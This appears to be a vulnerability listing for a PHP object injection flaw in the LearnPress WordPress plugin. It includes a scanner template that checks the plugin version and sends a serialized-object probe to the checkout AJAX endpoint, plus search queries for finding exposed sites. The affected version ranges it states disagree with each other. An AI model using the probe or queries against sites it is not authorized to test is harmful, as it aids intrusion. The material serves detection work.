CVE-2026-104736: LearnPress <= 4.4.9.1 - PHP Object Injection

2026-11-09 PoC Public

Description

LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.

Details

CVE
CVE-2026-104736 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-104736

info:
  name: LearnPress <= 4.4.9.1 - PHP Object Injection
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.
  impact: |
    Unauthenticated attackers can inject PHP objects, potentially leading to remote code execution or full system compromise.
  remediation: |
    Update to the latest version beyond 4.4.10.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3e28e008-0ec1-4262-9ac0-6170cf8b8bdf?source=cve
    - https://patchstack.com/database/wordpress/plugin/learnpress/vulnerability/wordpress-learnpress-wordpress-lms-plugin-for-create-and-sell-online-courses-plugin-4-4-10-unauthenticated-php-object-injection-vulnerability
    - https://github.com/murrez/CVE-2026-104736
    - https://nvd.nist.gov/vuln/detail/CVE-2026-104736
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-104736
    epss-score: 0.02524
    epss-percentile: 0.84974
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: thimpress
    product: learnpress
    fofa-query: body="/wp-content/plugins/learnpress/"
    publicwww-query: "/wp-content/plugins/learnpress/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,deserialization,php,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/learnpress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LearnPress")'
          - 'compare_versions(plugin_version, "<= 4.4.9.1")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        lp-ajax=checkout&checkout-email=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22{{rand_text_alpha(4)}}%22%3Bs%3A3%3A%22poc%22%3B%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LP_AJAX_START")'
          - '!contains(body, "invalid_email")'
        condition: and
# digest: 4a0a00473045022100ed4236c6e0cb721f70af8b10697360a95699386f16dbf76bff7e0c854e02a1f402200b4b1c17a16418075678e90e945aa9b0402e2626483e8b80a7332af6dac7ab3a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life